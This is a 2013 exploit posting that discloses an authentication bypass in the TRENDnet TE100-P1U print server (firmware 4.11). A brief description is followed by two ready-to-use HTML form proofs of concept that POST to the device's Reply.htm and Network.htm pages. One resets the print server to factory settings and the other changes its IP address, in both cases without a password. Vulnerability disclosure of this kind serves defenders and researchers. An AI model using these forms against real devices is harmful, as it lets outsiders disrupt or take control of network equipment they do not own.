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TRENDnet TE100-P1U Authentication Bypass

TRENDnet TE100-P1U Authentication Bypass
Posted Jun 23, 2013
Authored by Chako

TRENDnet TE100-P1U with print server firmware 4.11 suffers from an authentication bypass vulnerability that allows reset to factory settings or IP address change.

tags | exploit, bypass
MD5 | 6edde010a4acb6e01c9dc9608b53a14c

TRENDnet TE100-P1U Authentication Bypass

Change Mirror Download

#############################################################
#
# Exploit Title: TRENDnet TE100-P1U Print Server Firmware 4.11 Authentication Bypass Vulnerability
# Date: 2013/6/20
# Exploit Author: Chako
# Firmware Version: 4.11
# Tested on: Windows 7
#############################################################


Description:
=====================
A remote authentication bypass vulnerability affects TRENDnet TE100-P1U Print Server.
This issue is due to a failure of the application to validate authentication
credentials when processing print server configuration change requests.
An attacker could reset print server to factory sttings or changeing its IP address without
password security check.

Exploit:
=====================

1)Reset Print Server To Factory Settings

<form action="http://IP/Reply.htm" method="POST">
<table border="0" cellpadding="3" cellspacing="0" width="100%">
<tbody><tr><td class="headerbg">Factory Reset</td></tr>
</tbody></table>
<table bgcolor="#FFFFFF" border="0" cellpadding="5" cellspacing="1" width="100%">
<tbody><tr><td height="50" bgcolor="#F0F0F0">&nbsp;<span class="bluetextbold">Do you want to restore Print Server to factory default setting?</span></td></tr>
</tbody></table><br>&nbsp;
<input name="Factory" value=" Yes " type="submit" width="60">
</form>



1)Change Print Server IP Address

<form action="http://IP/Network.htm" method="POST">
<table border="0" cellpadding="3" cellspacing="0" width="100%">
<tbody><tr><td class="headerbg">Change IP Address</td></tr>
</tbody></table>
<table bgcolor="#FFFFFF" border="0" cellpadding="5" cellspacing="1" width="100%">
<tbody><tr>
<td class="bluetextbold" align="right" bgcolor="#C5CEDA" valign="top" width="150">&nbsp;IP Address:</td>
<td bgcolor="#F0F0F0" valign="top">
<table border="0">
<tbody><tr><td>
<input name="IP_ASSIGN" value="1" type="radio">Manually Assign
<table border="0" cellpadding="3" cellspacing="0">
<tbody><tr>
<td width="20"></td><td>IP Address</td>
<td>:&nbsp;&nbsp;<input size="18" name="IP_Address" value="192.168.1.110" type="text"></td>
</tr>
<tr>
<td></td><td>Subnet Mask</td>
<td>:&nbsp;&nbsp;<input size="18" name="Subnet_Mask" value="255.255.255.0" type="text"></td>
</tr>
<tr>
<td></td><td>Default Gateway</td>
<td>:&nbsp;&nbsp;<input size="18" name="Default_Gateway" value="192.168.1.254" type="text"></td>
</tr>
</tbody></table>
</td></tr>

</tbody></table>
</td>
</tr>
</tbody></table>
<table border="0" cellpadding="5" cellspacing="1" width="100%">
<tbody><tr>
<td height="50" width="149">&nbsp;</td>
<td width="355">&nbsp;<input name="Config2" value=" Save " type="submit" width="80">&nbsp;&nbsp;<input value="Cancel" type="reset" width="80"></td>
</tr>
</tbody></table>
</form>

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